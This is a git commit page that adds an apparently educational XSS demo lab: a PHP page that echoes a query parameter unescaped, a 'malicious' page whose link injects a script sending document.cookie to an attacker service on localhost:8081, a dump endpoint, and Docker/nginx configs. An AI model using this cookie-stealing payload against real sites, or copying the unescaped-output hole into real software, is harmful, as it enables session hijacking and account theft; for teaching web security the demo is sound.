daniel/SBD_XSS_Demo
0
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Add demo XSS application

Browse Source
This commit is contained in:
Daniel_I_Am 2021-11-23 18:24:38 +01:00
commit c72b7b3b7f
6 changed files with 177 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

41
app/index.php Normal file
View File

@ -0,0 +1,41 @@
<?php if ( empty(session_id()) ) session_start(); ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SBD XSS | Home</title>
</head>
<body>
<?php
if (isset($_GET["name"]))
{
$name = $_GET["name"];
?>
<div>Hey <?= $name ?>, how are you doing?</div>
<div>Enjoy this picture:</div>
<div><img src="//unsplash.it/256"></div>
<hr>
<?php
}
?>
<div>
Hey, what's your name?
</div>
<form action="/" method="GET">
<input type="text" name="name" placeholder="Enter your name">
<input type="submit" value="Send">
</form>
<?php
if (isset($_SESSION["username"])) {
?>
<div>I know you are logged in as <?= htmlspecialchars($_SESSION["username"]) ?></div>
<?php
}
?>
</body>
</html>

28
app/login.php Normal file
View File

@ -0,0 +1,28 @@
<?php
if ( empty(session_id()) ) session_start();
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$_SESSION["username"] = $_POST["username"];
header("Location: /");
return;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SBD XSS | Login</title>
</head>
<body>
<div>
Hey, what's your name?
</div>
<form action="/login.php" method="POST">
<input type="text" name="username" placeholder="Enter your username">
<input type="submit" value="Log in">
</form>
</body>
</html>

17
docker-compose.yml Normal file
View File

@ -0,0 +1,17 @@
version: "3.8"
services:
app:
image: php:8.0-apache
volumes:
- "./app:/var/www/html/"
malicious:
image: php:8.0-apache
volumes:
- "./malicious:/var/www/html/"
proxy:
image: nginx
ports:
- "8080:8080"
- "8081:8081"
volumes:
- "./proxy.conf:/etc/nginx/nginx.conf:ro"

3
malicious/dump.php Normal file
View File

@ -0,0 +1,3 @@
<?php
var_dump($_GET["data"]); // Do something with the data, I have it now!

20
malicious/index.php Normal file
View File

@ -0,0 +1,20 @@
<?php
$payload = <<<EOS
fetch(`http://localhost:8081/dump.php?data=\${encodeURIComponent(document.cookie)}`).then(() => {window.location.href='/?name=Blegh';});
EOS
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Totally legit website</title>
</head>
<body>
<a href="http://localhost:8080/?name=Blegh<script><?= $payload ?></script>">This link has a nice picture</a>
</body>
</html>

68
proxy.conf Normal file
View File

@ -0,0 +1,68 @@
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log notice;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
#tcp_nopush on;
keepalive_timeout 65;
#gzip on;
include /etc/nginx/conf.d/*.conf;
upstream app {
server app:80;
}
upstream malicious {
server malicious:80;
}
server {
listen 8080;
location / {
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Server $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_pass "http://app";
}
}
server {
listen 8081;
location / {
add_header 'Access-Control-Allow-Origin' '*';
add_header 'Access-Control-Allow-Credentials' 'true';
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Server $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_pass "http://malicious";
}
}
}